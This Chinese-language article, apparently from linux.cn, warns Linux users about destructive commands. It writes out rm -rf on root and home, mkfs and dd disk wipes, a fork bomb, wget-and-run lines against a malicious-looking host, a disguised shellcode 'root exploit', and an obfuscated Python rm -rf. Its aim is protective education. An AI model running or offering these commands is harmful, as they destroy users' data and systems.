文中列出的命令絕對不能夠運行,即便你以爲很好奇也不行,除非你是在虛擬機上運行(出現問題你能夠還原),由於它們會實實在在的破壞你的系統。因此不在root等高級管理權限下執行命令是很好的習慣。html
遲早有一天,Linux 系統會像 Windows 那樣流行,用的人愈來愈多,包括對計算機不是很瞭解的人,本文的目的就是告訴你們:在 Linux 給你最大程度自由度的同時,也使得破壞系統變得更加容易,若是你不瞭解某些命令的意義,下載執行包含惡意命令的腳本,或者被騙運行某些命令,很容易讓你哭 都來不及。python
這並非說明 Linux 不安全,只是說明在不瞭解 Linux ,和很不當心的人面前,Linux 十分不安全。Windows 也好,Linux 也好,人自己纔是最大的不安全因素。linux
下面的命令會刪除你硬盤上的文件,rm 的 -r 遞歸刪除,和 -f 強制刪除是很危險的選項,即便平常操做,也會遇到誤刪文件的狀況。安全
sudo rm -rf / ##刪除根分區所有的文件 sudo rm -rf . ##刪除當前目錄下的全部文件 sudo rm -rf * ##同上 rm -rf * or rm -rf *.* ##同上 rm -rf ~ / & ##刪除根分區和家目錄,即便你不是root,家目錄仍是不能倖免。
一樣,若是你不知道 mkfs.xxxx (xxxx 能夠是 vfat、ext二、ext三、bfs……) 是格式化命令的話,運行下面的命令會擦除你的硬盤分區:bash
sudo mkfs.xxxx
dd 是強大的 IO 輸入輸出定向工具,若是使用不當,破壞性很大,不只僅是當前分區,當前系統,有的時候是整個硬盤。ide
sudo dd if=/dev/zero of=/dev/sda ##所有硬盤清零。 sudo dd if=/dev/sda of=/dev/sdb ##用第一塊硬盤的內容覆蓋第二塊的內容。 sudo dd if=something of=/dev/sda ##往硬盤上寫垃圾數據。
同理,直接把命令結果定向到硬盤上,至關於往硬盤上寫垃圾數據:工具
any_command > /dev/sda 用隨意的數據破壞硬盤
上面的 sda 、sdb 也多是其餘相似的名稱。Linux 的 /dev 系統給操縱硬件提供了很方便和強大的功能,同時也使得破壞變得更容易。網站
fork 命令打開一個子進程,若是把 fork 放在無限循環中,最終子進程會耗盡全部內存資源:url
:(){:|:&};:
這段不知所云的符號,可讓 Shell 不停的 fork 子進程,最後致使內存耗盡,不得不重啓,這不是 bug,只是 Shell 語句故意寫成簡寫的形式而已。下面的同理:code
fork while fork
有的時候,壓縮包也是一個破壞來源~
有的壓縮包要求你解壓到某個系統中已經存在的目錄中,這時候你就要特別當心了,壓縮包裏面可能有成千上萬的小文件,以各類文件名嘗試覆蓋你現有的文件。
有的壓縮包看起來很小,可是解壓出來是上 GB 的垃圾數據,會充斥你的硬盤。
從不正規網站下載的程序、腳本,一樣會有包含惡意命令的危險,不可隨便執行:
wget [url]http://some_place/some_file[/url] sh ./some_file wget [url]http://hax018r.org/malicious-script[/url] sh ./malicious-script
載腳本要確保來源正規,若是有能力,能夠閱讀其代碼。即便有源代碼的程序,也不要隨便編譯執行:
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68" "xffxffxffxffx68xdfxd0xdfxd9x68x8dx99" "xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7" "x56x04xf7x56x08xf7x56x0cx83xc4x74x56" "x8dx73x08x56x53x54x59xb0x0bxcdx80x31" "xc0x40xebxf9xe8xbdxffxffxffx2fx62x69" "x6ex2fx73x68x00x2dx63x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
上面看起來只是一堆沒有意義的 16 進制數據,若是有人告訴你,運行這個程序你就能夠不輸入密碼取得系統的 root 權限,你可不要相信他,上面的程序實際運行的是「rm -rf ~ / & 」。
python 一類的腳本語言,一樣能夠拿來搞破壞:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'
這段程序實際上會執行 rm -rf ,也許你很奇怪上面程序結尾的 「sn!.sg! 」 是什麼意思,實際上就是 rm -rf 每一個字母的下一個!
那麼咱們如何避免運行惡意程序呢?
第一不要用 root 做爲平常使用的用戶,上面的程序,若是當前用戶不是 root,危害的波及範圍就會小不少。
第二要知道哪些命令是幹什麼用的,不知道的命令不要冒然運行。運行有潛在破壞能力的程序,要當心檢查本身的輸入。
第三要保證軟件、腳本的來源正規。
最後一點,雖然比較消極,可是確實十分重要的一點:
常常備份你的數據!!
本文源自:https://linux.cn/article-401-1.html